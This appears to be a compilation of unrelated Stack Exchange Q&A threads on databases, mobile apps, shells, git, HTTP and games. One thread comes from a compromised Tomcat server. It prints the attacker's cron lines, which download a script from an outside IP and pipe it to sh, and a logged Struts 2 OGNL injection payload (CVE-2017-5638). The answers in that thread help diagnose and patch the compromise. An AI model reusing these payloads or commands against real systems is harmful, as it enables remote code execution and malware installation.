I want to add an index to this column, but it seems like it would be more efficient if there was a way to index it in a way that only cared if it was null or not instead of trying to group by date. Is this possible to do or is SQL Server smart enough to handle this kind of optimization on its own?

A: You can add a computed column, which is a binary indicator of the deletion.  However, indexing a binary column is not usually very useful.
If you want to speed SELECT queries, then including the delete flag (or deletion date) as the first column in a clustered index can be helpful.  Queries that use the flag would only scan the pages with undeleted records.  For this purpose, using the date itself is probably fine, assuming that the date is set to the current date in a deletion.
The downside, of course, is that the data has to physically move when it is deleted.  If the deletions only go one way (i.e. no "undeletes"), then the overhead might not be too bad.


text:
Q: Download HTML files locally in Hybrid app In our hybrid app we need to maintain HTML locally inside our app. These HTMLs have to be refreshed locally once they get changed in the hosted server. what should be the approach to achieve this ?

A: If you are handling the HTML files in your mobile application in android or iphone device, you need to pay attention to the below factors.
1. Data Handling - Best way to parse the data and render it on device screen
Assuming your HTML file has 1000 nodes and each node is going to have 10 sub nodes. Now, you try to fetch a value based on the key in 800th node. Now what happens is, the parser reads each of the 1 to 800 nodes before finding the search value. This will create a very bad user experience.
To avoid this, for android mobile application, use JSON file format and for iOS devices, use PLIST file format.
Since you are targeting a hybrid application, it might run on both android and iphone device. So, in server, create the conversion math and render appropriate files to the device accordingly.
2. Data Loading - Things to remember while your application syncs up with server to update the HTML files.
Battery Utilization - If your application keeps hitting the server at regular interval to see if any update on the HTML files, it would impact the device battery very high and the network utilization of the application will be high.
Approach i would recommend is, your server should push a message to the application if there is any update on the files. Based on that user can choose to update the application.
Things to do before starting the file sync up.

*

*Current battery level of the device should be checked before
starting the data sync up with server.

*Network state should be checked. Upgrade should happen if the device
is connected to wifi.

*Based on the user location and time stamp, you can choose to perform the sync up when the phone is not used by the user.

A: What about having a timestamp with the latest update available, checking this each time the app starts and if it's newer than the latest update performed then re-download the HTML files? This can of course be extended to be performed on a per-file or per-directory basis instead to re-download only the changed files.

A: You can load any HTML content or file inside a WebView.
Using the method loadDataWithBaseURL() you can load any HTML data:
//read html data from any file or resource
String HTML = "<title>TITLE</title>MY BODY";
//load HTML inside webview
webView.loadDataWithBaseURL(null, HTML, "text/html", "utf-8", null);

You can also load data directly from a file:
File htmlFile = new File(Environment.getExternalStorageDirectory() + "page.html");
webView.loadUrl("file:///" + htmlFile.getAbsolutePath());

or from the assets folder:
webView.loadUrl("file:///android_asset/pageInAssets.html");

You can fetch the updated data (and store it locally) periodically from your server or every time the user gets internet connectivity.

A: My background with Hybrid apps: I love them. I have encountered many issued and have fixed almost all of them.
This is what I like to do when I encounter a situation where I need a server or database which is used on more than one device.
Steps

*

*Write you web app

*Host the web app on a cheap server like Heroku which I use for free

*Run the web server

*In your hybrid app, make the hybrid app only have one feature which will be an IFRAME which links to your webserver

What you will achieve by doing this:

*

*A webserver which is running 24/7 and you don't have to worry about the server heating or anything

*Free webserver

*Your app will take up less space on the device because everything is on the cloud

*Your app will take less time to download

*You can make your app cache the .html file onto the client so that they can view the page later without a network connection.

*The if you cache the files properly, everytime you connect to wifi and view the .html page, it should check the server for a new version of the html file.

Hope this helps =)   =P

A: *

*You can load from a local webpage (e.g. a webpage in the Resources folder of your project) so into the project you should create a file html/index.html

*This code have two button local and remote page

Html file resource should have details below
<!doctype html>

    <meta charset="utf-8">
    <title>Google</title>
    <meta name="description" content="">
    <meta name="author" content="">

Hello there

Welcome to this webpage

app.js file details below
var win = Titanium.UI.createWindow({
    title:"Loading Local and Remote Web Pages",
    backgroundColor:"#FFFFFF",
});

var loadLocalButton = Titanium.UI.createButton({
    title:"Load local",
    height:36,
    width:100,
    bottom:12,
    left:12
});

var loadRemoteButton = Titanium.UI.createButton({
    title:"Load remote",
    height:36,
    width:100,
    bottom:12,
    right:12
});

var webView = Titanium.UI.createWebView({
    top:0,
    left:0
});

loadLocalButton.addEventListener("click", function(e){
    //You can load from a local webpage (e.g. a webpage in the Resources folder of your project)
    webView.url = "html/index.html";
    //or you can load an HTML-formatted string
    webView.html = "
This is from a string

Yes, it is
";
});

loadRemoteButton.addEventListener("click", function(e){
    webView.url = "http://www.google.com";
});

win.add(webView);
win.add(loadLocalButton);
win.add(loadRemoteButton);

win.open();


text:
Q: Testdisk: Finds my partition, then forgets it When testdisk analyses my hard disk, it finds the lost partition and even the label 'Storage', which looks good at first.

But when the scan goes from 99% to 100%, the (multiple copies) of the linux partition become unavailable for selection. I just get NTFS, FAT12 and swap options:

How do I recover the partition that it originally detected and subsequently lost/forgot? I've tried version 6 series and 7 series of testdisk but get the same result.


text:
Q: here document and the readonly flag and command substitution in POSIX shells The following text receives different treatment by two Unix shells in POSIX mode:
readonly a=$(cat - <<'EOF'
1st
2nd
EOF
)

One shell (bash(1) --posix) makes $a have "1st 2nd" while the other rejects, saying that

dash: 1: readonly: 2nd: bad variable name

Both shells agree once readonly is dropped, i.e. when a is a fresh variable assigned to RHS.
Is one of the shells more correct than the other?
Using either shell, I can assign a first and then mark it readonly, so there is a solution.  Still, rewriting would then seem a requirement when porting to dash(1) (version 0.5.7-4ubuntu1). Is it a bug in dash?
Update: Learning from chepner's answer (words, quoting), it seems worth mentioning some gotchas found along the way. Thus,
readonly a=$*             ; echo a $a
b=$*         ; readonly b ; echo b $b
readonly c="$*"           ; echo c $c

produces different behavior among all of bash, dash, posh, zsh, including errors depending on text in $*. Similar issues when exchanging readonly for local by way of testing.

A: TL;DR This may be a case of undefined behavior, where a shell is free to treat a name=value argument to readonly as either a true assignment statement or a regular string argument. This will affect how word-splitting is applied to the value.

I think this is a case where dash is correct. In a normal assignment, such as
a=$(cat - <<'EOF'
1st
2nd
EOF
)

the right-hand side is not subject to word-splitting. The result of the command substitution is a string with two embedded newlines which is assigned to the variable.
readonly, however, is a command itself; the name=value syntax is an ordinary argument, not an assignment statement, and as such is subject to word-splitting. The command substitution produces a string with embedded newlines as before, but since it is not quoted, those newlines are treated as arbitrary whitespace. The result is equivalent to
readonly a=1st 2nd

which is clearly in error. As you might expect, you get the intended assignment if you quote the command substitution (protecting the newlines):
readonly a="$(cat - <<'EOF'
1st
2nd
EOF
)"

zsh produces the same error as dash:
% readonly a=$(cat - <<'EOF'
cmdsubst heredoc> 1st
cmdsubst heredoc> 2nd
cmdsubst heredoc> EOF
cmdsubst> )
readonly: not an identifier: 2nd
192%

bash and ksh exhibit the same behavior. The bash man page doesn't give any hint as to why quoting isn't necessary, although the ksh man page does allude to the argument to readonly as being a true assignment (emphasis mine):

Variable Assignments.
One  or  more variable assignments can start a simple command or can be
         arguments to the typeset, enum, export, or  readonly  special  built-in
         commands


text:
Q: What is the effective radius of stellar graviton emission? White dwarfs have been used to accurately determine photon gravitational redshift:https://scholar.google.co.uk/scholar?as_ylo=2016&q=white+dwarf+gravitational+redshift&hl=en&as_sdt=0,5#d=gs_qabs&u=%23p%3DOE1jghxBr2MJ
Their small radius, at which photons are emitted, gives a redshift O(80kms-1), which can be measured very accurately.
But at what radius are gravitons emitted, and consequently what is their redshift ?
Edit
Comments indicate that stellar mass emit gravitons uniformly, as expected.
However, this implies significant redshift and yet no commenting or answering re the implications of this.


text:
Q: Android Instant Apps Samples Not Pulling GitHub Repository When I try to create/import a sample and use Instant apps, the code is not pulled from GitHub repository. Any thoughts?
In addition, I have also tested the Hello World Sample (Java) and the GitHub Repository associated page does not exist.

A: Yep, looks like some of these links are broken, or the the sample project itself is incomplete.
For example, when you click through Browse source in Github for that Hello World (Java), you'll get a 404, and the Kotlin one seems to be missing all its files.
Looks like googlesamples/android-instant-apps is going through some renovations. This is likely due to the Instant Apps model being shifted over to the App Bundle / Dynamic Features model. So for the time being, it's probably just better to just browse it on Github, download, unzip, then open with Android Studio, instead of trying to open it directly from studio.


text:
Q: An assembly specified in the application dependencies manifest was not found So I have a .NET Core 2.2 web application.
I added the EPPlus library to it and now, when it is released to Azure (App Service) it won't start and I get the error:
HTTP Error 502.5 - ANCM Out-Of-Process Startup Failure

I narrowed this down by running a console in Azure and the command: "dotnet my.project.dll" - and got the actual error:

An assembly specified in the application dependencies manifest
  (my.project.deps.json) was not found:
      package: 'Microsoft.Win32.SystemEvents', version: '4.5.0'
      path: 'runtimes/win/lib/netcoreapp2.0/Microsoft.Win32.SystemEvents.dll'

The Microsoft.Win32.SystemEvents.dll is present in the main wwwroot folder the application is deployed to.
But the whole runtimes/win/libs/ folder I don't think exists at all.
The my.project.deps.json files has the section which looks like this:
"Microsoft.Win32.SystemEvents/4.5.0": {
    "dependencies": {
      "Microsoft.NETCore.Platforms": "2.2.0"
    },
    "runtime": {
      "lib/netstandard2.0/Microsoft.Win32.SystemEvents.dll": {
        "assemblyVersion": "4.0.0.0",
        "fileVersion": "4.6.26515.6"
      }
    },
    "runtimeTargets": {
      "runtimes/win/lib/netcoreapp2.0/Microsoft.Win32.SystemEvents.dll": {
        "rid": "win",
        "assetType": "runtime",
        "assemblyVersion": "4.0.0.0",
        "fileVersion": "4.6.26515.6"
      }
    }
  }

If I delete the whole "runtimeTargets" section, then the application works! (Well, I have to do the same for a few more dll's too:  System.Drawing.Common and System.Security.Cryptography.Pkcs)
But the file gets regenerated fully whenever it is published and released - so it is not a viable solution.
I also don't know what that section of the file does. It might be important to leave it in. Though it all works so it can't be that vital...
It is built and published through TeamCity - I'm not an expert on the process but I think the command being run amounts to this:
dotnet publish my.proj.csproj --configuration RELEASE --no-restore --no-build

Other things tried: < PublishWithAspNetCoreTargetManifest>false< / PublishWithAspNetCoreTargetManifest>
had no effect
Anyone have any ideas?

A: As it turns out, it was my fault :(
Team City was created a NuGet package from the published output. But the /runtimes folder was not included in the package so was never released as part of the site.
I edited the nuspec file to include it /runtimes and all works OK.

A: I've had same issue. After the build I copied all files to the "production" directory by DOS command copy so then the files from "runtimes" subfolder were missing. Copying all files including all subdirectories (by using xcopy) fixed the issue.


text:
Q: Git Cherry-pick vs Merge Workflow Assuming I am the maintainer of a repo, and I want to pull in changes from a contributor, there are a few possible workflows:

*

*I cherry-pick each commit from the remote (in order). In this case git records the commit as unrelated to the remote branch.

*I merge the branch, pulling in all changes, and adding a new "conflict" commit (if needed).

*I merge each commit from the remote branch individually (again in order), allowing conflicts to be recorded for each commit, instead of grouped all together as one.

*For completeness, you could do a rebase (same as cherry-pick option?), however my understanding is that this can cause confusion for the contributor. Maybe that eliminates option 1.

In both cases 2 and 3, git records the branch history of the commits, unlike 1.
What are the pro's and con's between using either cherry-pick or merge methods described? My understanding is that method 2 is the norm, but I feel that resolving a large commit with a single "conflict" merge, is not the cleanest solution.

A: Both rebase (and cherry-pick) and merge have their advantages and disadvantages.  I argue for merge here, but it's worth understanding both.  (Look here for an alternate, well-argued answer enumerating cases where rebase is preferred.)
merge is preferred over cherry-pick and rebase for a couple of reasons.

*

*Robustness.  The SHA1 identifier of a commit identifies it not just in and of itself but also in relation to all other commits that precede it.  This offers you a guarantee that the state of the repository at a given SHA1 is identical across all clones.  There is (in theory) no chance that someone has done what looks like the same change but is actually corrupting or hijacking your repository.  You can cherry-pick in individual changes and they are likely the same, but you have no guarantee.  (As a minor secondary issue the new cherry-picked commits will take up extra space if someone else cherry-picks in the same commit again, as they will both be present in the history even if your working copies end up being identical.)

*Ease of use.  People tend to understand the merge workflow fairly easily.  rebase tends to be considered more advanced.  It's best to understand both, but people who do not want to be experts in version control (which in my experience has included many colleagues who are damn good at what they do, but don't want to spend the extra time) have an easier time just merging.

Even with a merge-heavy workflow rebase and cherry-pick are still useful for particular cases:

*

*One downside to merge is cluttered history.  rebase prevents a long series of commits from being scattered about in your history, as they would be if you periodically merged in others' changes.  That is in fact its main purpose as I use it.  What you want to be very careful of, is never to rebase code that you have shared with other repositories.  Once a commit is pushed someone else might have committed on top of it, and rebasing will at best cause the kind of duplication discussed above.  At worst you can end up with a very confused repository and subtle errors it will take you a long time to ferret out.

*cherry-pick is useful for sampling out a small subset of changes from a topic branch you've basically decided to discard, but realized there are a couple of useful pieces on.

As for preferring merging many changes over one: it's just a lot simpler.  It can get very tedious to do merges of individual changesets once you start having a lot of them.  The merge resolution in git (and in Mercurial, and in Bazaar) is very very good.  You won't run into major problems merging even long branches most of the time.  I generally merge everything all at once and only if I get a large number of conflicts do I back up and re-run the merge piecemeal.  Even then I do it in large chunks.  As a very real example I had a colleague who had 3 months worth of changes to merge, and got some 9000 conflicts in 250000 line code-base.  What we did to fix is do the merge one month's worth at a time: conflicts do not build up linearly, and doing it in pieces results in far fewer than 9000 conflicts.  It was still a lot of work, but not as much as trying to do it one commit at a time.

A: In my opinion cherry-picking should be reserved for rare situations where it is required, for example if you did some fix on directly on 'master' branch (trunk, main development branch) and then realized that it should be applied also to 'maint'.  You should base workflow either on merge, or on rebase (or "git pull --rebase").
Please remember that cherry-picked or rebased commit is different from the point of view of Git (has different SHA-1 identifier) than the original, so it is different than the commit in remote repository.  (Rebase can usually deal with this, as it checks patch id i.e. the changes, not a commit id).
Also in git you can merge many branches at once: so called octopus merge.  Note that octopus merge has to succeed without conflicts.  Nevertheless it might be useful.
HTH.

A: Rebase and Cherry-pick is the only way you can keep clean commit history.
Avoid using merge and avoid creating merge conflict. If you are using gerrit set one project to Merge if necessary and one project to cherry-pick mode and try yourself.


text:
Q: Shell script attack on Apache server, via an cron of unknown origin While running a project war on  Apache tomcat server I found that the server has been compromised.
While running the war on an unknown cron is running like this
[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh

The downloaded logo.jpg has a shell script which is downloading a malware.
I found a similar issue on this website below
https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/
and
https://security.stackexchange.com/questions/160068/kworker34-malware-on-linux
I am unable to find the origin of this cron scheduler in my whole code.
What I wish to know that has anyone faced this issue?
and how should I go about finding the origin of the scheduler in code.
Note:
I am working on  a JAVA(Struts 2)+jsp+javascript+jquery web project.
This scheduler is running every time I am starting my tomcat with the war file of the project, but I am not able to find any scheduler for scheduler in my code.
I have found the following line in my log files
[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] 2017-06-02 17:00:41,572 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream,
                content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
                (#_memberAccess?(#_memberAccess=#dm):
                ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
                (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
                (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
                (#context.setMemberAccess(#dm)))).
                (#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -').
                (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
                (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
                (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
                (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
                (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
    at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
    at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
    at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81)
    at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779)
    at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134)
    at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478)
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
    at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:624)
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:799)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1455)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:745)
[DEBUG] 2017-06-02 17:00:41,574 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException]
[DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts]
[DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult

A: After OP had added logs, it become clearly, that problem is in Remote Code Execution exploit for Struts 2 (CVE-2017-5638).
Some additional links:

*

*New Struts2 Remote Code Execution exploit caught in the wild.

*CVE-2017-5638 - Apache Struts2 S2-045.

Solution is to upgrade your Struts to version 2.3.32 or 2.5.10.1.

A: I've faced similar issues before when I was sysadmin. I think you must distinct if it's your tomcat server or your Java app.
When you start tomcat without the "infected Java app" is the cron getting enabled? (I mean, deleting your application from Tomcat and starting it) If so then you have a bigger problem, you'll need to verify the startup scripts and every application deployed in the tomcat server.
Otherwise we are sure your app is the issue.
If that's the case go to:
$CATALINA_BASE/webapps/your_app

Verify the integrity of your application, is there additional files that you do not recognize?
Now go to the webapps directory of your tomcat installation:
$CATALINA_BASE/webapps/

In that directory perform:
grep -R '91.230.47.40' *

To find the possible file/line-of-code which causes the infection, it could be a file of your app or a new one.
Do you have your code in a CSV system?
Build the war file outside the infected server from your CSV repo and do:
md5sum your_app.war

Remove your application from the tomcat server and re-deploy, verify that you're uploading the correct war through md5, then check if the crontab is being invoked.
If you provide feedback on this steps I'll be glad to help.

A: We just had to fight this kind of attack off on a server, it kept restarting overwriting crontab for our tomcat user as described above. The IP address was identical.  Grep of entire webapps dir for IP address did not reveal a culprit.
In our case we do not use struts, but we had the "host-manager" and "manager" apps in webapps, and we had JMX enabled/port open.  Restarting without those seem to have solved, so my hunch is that the vulnerability might be in one of those. Specifically there was a JMX vulnerability fixed in 7.0.73 that might be our culprit (https://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.73).
Another precaution we are now taking is to restrict access to wget and chmod to root only (just do chmod 770 on those binaries).


text:
Q: Is it possible to send a 401 Unauthorized AND redirect (with a Location)? I'd like to send a 401 Unauthorized AND redirect the client somewhere. However:
if I do it like this:
header('HTTP/1.1 401 Unauthorized');
header('Location: /');

the server sends a 302 Found with Location, so not a 401 Unauthorized.
If I do it like this:
header('Location: /');
header('HTTP/1.1 401 Unauthorized');

the browser receives both a 401 Unauthorized and a Location, but does not redirect.
(IE 9 and Chrome 16 behave the same, so I'm guessing it's correct)
Maybe I'm misusing HTTP? I'd like my app interface to be exactly the same for all clients: text browser, modern browser, API calls etc. The 401 + response text would tell an API user what's what. The redirect is useful for a browser.
Is there a (good) way?

A: 3xx means Redirect
4xx means the browser did something wrong.
There's a reason why the codes are split up the way they are - they don't mix ;)

A: By definition (see RFC 2616), the HTTP 302 response code is the redirect code.  Without it, the location header may be ignored.
However, you can send an HTTP 401 response and still display output. Instead of redirecting the user to an error page, you could simply write your content you want to send in the HTTP body in the same request.

A: In addition to the fine answers from Kolink and David (+1's), I would point out that you are attempting to change the semantics of the HTTP protocol by both returning a 401 AND telling the browser to redirect.  This is not how the HTTP protocol is intended to work, and if you do find a way to get that result, HTTP clients will find the behavior of your service to be non-standard.
Either you send a 401 and allow the browser to deal with it, or you handle the situation differently (e.g. as one commenter suggested, redirect to a login page or perhaps to a page explaining why the user had no access).

A: I'm coming in very late here but I thought I'd add my two cents. As I understand it, the desire is to indicate that the user doesn't have the correct authorization and to prompt them to log in. Rudie understandably would like to return 401 Unauthorized (because the user needs to authorize by some mechanism, eg. logging in), and also forward them to the login page - but this is not very easy to accomplish and isn't supported out-of-the-box by most libraries. One solution is to display the login page in the body of the 401 response, as was suggested in another answer. However, let me take a look at this from the perspective of established/best practice.
Test case 1: Facebook
Navigating to a protected Facebook page (my user profile) while logged out results in a 404 Not Found response. Facebook serves up a general purpose "this page is not available" page, which also includes a login form. Interesting. Even more interesting: when I navigate to the "events" page, I'm served a 302 response which forwards to a login page (which returns a 200 response). So I guess their idea is to return 302 for pages that we know exist, but serve 404 for pages which may or may not exist (eg. to protect a user's privacy).
Test case 2: Google Inbox
Navigating to my inbox when I am logged out returns 302 and forwards me to a login page, similar to Facebook. I wasn't able to figure out how to make my Google+ profile private so no test data there...
Test case 3: Amazon.com
Navigating to my order history when I am logged out returns 302 and forwards me to a login page as before. Amazon has no concept of a "profile" page so I can't test that here either.
To summarize the test cases here, it seems to be best practice to return a 302 Found and forward to a login page if the user needs to log in (although I would argue 303 See Other is actually more appropriate). This is of course just in the case where a real human user needs to input a username and password in an html form. For other types of authentication (eg. basic, api key, etc), 401 Unauthorized is obviously the appropriate response. In this case there is no need to forward to a login page.

A: You can send 401 and then in response body you can send window.location='domain.com'. However, user will be immediately redirected without knowing that 401 occurred.

A: Here is a clean way:
On the 401 page, you can choose the "view" to send based on the "accept" header in the request.
If the accept is application/json, then you can include the body:
{"status":401;"message":"Authentication required"}

If the "accept" is text/html, then you can include the body:
<form action="/signin" method="post">
    <!-- bla bla -->
    <input type="hidden" name="redirect" value="[URL ENCODE REQUEST URI]">
</form>

Then you run into the same question... do you issue a 200 OK or a 302 Found on a successful login?  (see what I did there? )
If you can handle authentication on any page, you can just have the form action be the same page URL, but  watch for XSS if you are putting the user supplied request_uri in the form action attribute.

A: Web browsers are not REST clients. Stick to sending status 200 with a Location header and no body content. The 30x redirects are for pages that have moved. No other status code/Location header should be expected to redirect in a web browser.
Alternatively, your web server may have configurable error pages. You can add javascript to the error page to redirect.


text:
Q: Matrix inverse, Schur's complement and the chicken or the egg dilemma Suppose
$\textbf{M}=\begin{pmatrix}\textbf{A}&\textbf{B}\\\\ \textbf{C}&\textbf{D}\end{pmatrix}.$
We can compute $\textbf{M}^{-1}$ using (see here):
$\textbf{M}^{-1}=\begin{pmatrix}\textbf{A}^{-1}+\textbf{A}^{-1}\textbf{B}\textbf{S}^{-1}\textbf{C}\textbf{A}^{-1}&-\textbf{A}^{-1}\textbf{B}\textbf{S}^{-1}\\\\ -\textbf{S}^{-1}\textbf{C}\textbf{A}^{-1}&\textbf{S}^{-1}\end{pmatrix}$, where $\textbf{S} = \textbf{D}-\textbf{C}\textbf{A}^{-1}\textbf{B}$
How would one get $\textbf{S}^{-1}$ (i.e. inverting the Schur complement of $\textbf{A}$)?
One way would be to use Woodbury matrix identity, but we would end up with "the chicken or the egg dilemma", since $\textbf{S}^{-1}= \textbf{D}^{-1}+\textbf{D}^{-1}\textbf{C}\textbf{T}^{-1}\textbf{B}\textbf{D}^{-1}$ and $\textbf{T}^{-1}= \textbf{A}^{-1}+\textbf{A}^{-1}\textbf{B}\textbf{S}^{-1}\textbf{C}\textbf{A}^{-1}$ (i.e. we need $\textbf{T}^{-1}$ to compute $\textbf{S}^{-1}$ and we need $\textbf{S}^{-1}$ to compute $\textbf{T}^{-1}$).
Is there a way around that?


text:
Q: Cannot create table in QuestDB with error that no space left on the device When I try to crate table with index
CREATE TABLE NEW AS( SELECT DISTINCT * FROM OLD),
index(RIC capacity 1000000)
PARTITION BY MONTH

I get back error
io.questdb.cairo.CairoException: [2] No space left on device [need=99472113664]

I have 800+Gb free on the filesystem and able OLD is not particularly big, few Gb on disk. Any idea why I have the error?

A: Index capacity is how many rows you expect per each symbol value on average. If you specify capacity of 1 million QuestDB will allocate 7Mb of data per each symbol value. If you try to insert 150k of distinct symbol values table will try allocate 1TB of space.
If you have few distinct symbol values and many rows per each of them then you increase index capacity. If you have many distinct symbols then you increase symbol capacity.


text:
Q: Is https traffic over an unencrypted wireless network secure? This is something I've wondered for a long time.  If I am, say, using Gmail over https, can someone read my IM conversations and emails if I use an unsecured wireless network?  I assume that the data would be secure, since it is using an encrypted connection.  Is there anything else to consider?

A: I would think that someone could still perform a man-in-the-middle attack if you're on unsecured wifi (or even secured wifi, if they happen to find a way to be allowed on). This is why you need to always check that the SSL connection shows up green in your address bar and/or manually double-check that the certificate is valid when using unsecured wifi. Assuming that the certificate is correct, then the SSL should protect your data.

A: I think your reasoning is correct; to read your information they would need to decrypt the SSL.  There would just be one less level of encryption for them to break, in order to access the encrypted data.

A: As long as your DNS and your browser's SSL rootkey servers are valid, then an attacker on the same unsecure wireless network as you cannot get into your SSL pipe with a server.
DNS is the big vulnerability in this area - if your DNS chain of servers gets infected by an attacker than can make all manner of things appear to be secure but in fact be insecure.
But if your question is whether a random hacker at an airport or coffee shop is going to be able to hack into your SSL pipe to your bank, the answer is almost certainly not.

A: Anyway have in mind that only the data inside the http stream is encrypted but the URLs are not, so maybe someone can impersonate you.

A: You also need to consider that the initial non-SSL pages are not protected.
Most secured sites you visit will redirect you from an http to an https url when you go to the login page, but on an untrustworthy network, you might be sent somewhere else by a man in the middle instead.
Consider that you could visit http://firstoverflowbank.com, which would usually redirect you to https://login.firstoverflowbank.com but on the unsecured network is set instead to send you to https://login.flrstoverflowbank.com instead.  You likely won't notice, even if you take the time to check and the browser will show everything as being secure.
To avoid this sort of thing, bookmark or type the https:// url directly, never rely on that redirect.


text:
Q: Filtrar con TreeList KendoUI Id y parentId Buenas tardes compañeros,

Estoy trabajando con Kendo MVC y necesito realizar un filtro donde busco el ID y me filtre los ParentID que pertenecen a este ID.
¿Hay forma de realizar este tipo de filtro? ya que el filtro normal me trae la información solo del dato que intento filtrar, pero no los datos asociados a este.
Gracias.


text:
Q: Exactly how linear is Final Fantasy XIII? I was thinking about buying FF XIII but was am a little concerned about the talk about how linear the game is.
I have enjoyed most of the previous Final Fantasy games so I was wondering if its linearity can be compared to any of those - for example I'd say that FF X was fairly linear too, but it was fun nonetheless.
So can anyone tell me how the linearity of FF XIII compares and how it feels like?

A: It is even MORE linear than FFX, the story is in my opinion worse than in FFX, however, the fighting system is very dynamic and fun so I would still recommend it. XIII consists of 13 chapters, for the first X you cannot walk further than a couple of steps from the path, it gets better in the later chapters but to be honest there is just one big plain that you can walk freely and got some side quests to do.
It's still a good game though :-)

A: Final Fantasy XIII is (by concept) to a large degree a strictly linear game. Most of the time (with the exceptions given below), the levels are a simple "tunnel" with no forks. You will only be able to stray off the path for some meters to find hidden treasure spheres or optional enemies. There are no side-quests in the traditional sense and you will only follow your main objective. Once you leave a level, you will not be able to return to the previous visited stages. This is a large departure from the gameplay of earlier parts of the series (say, FFVII).
On the plus side, the graphical representation and the atmosphere/mood of these tunnel levels is awesome. In fact, if you switch off the minimap you may even forget the limited topolgy and enjoy the surroundings. Also, the game uses the restricted degree of freedom for its intense and fast paced storytelling.
The exception from this rule come only very late in the game. FFXIII consists of 13 chapters. Once you reach Chapter 11, you will have access to a number of non-tunnel levels where you may roam freely, that is, as far as you can beat the enemies that stand in your way. Also, a number of simple hunting missions becomes available, where the simplicity refers to the structure of the quests and by no means to the challenge of the enemies. In fact, at this stage you are not expected by the game to be able to complete all challenges of Chapter 11. Rather, you should complete some easy hunting missions and move on with the storyline to level up. That is, you leave Chapter 11 to beat another sequence of tunnel levels in Chapter 12 and the final boss fight in Chapter 13.
However, from Chapter 13 (and even after finishing the final boss), you will be able to travel back to Chapter 11 as often as desired to beat as many optional quests as you like. This is intended as some kind of open-ended-like gameplay where you can find the characters ultimate weapons and fight some really impressive special enemies.
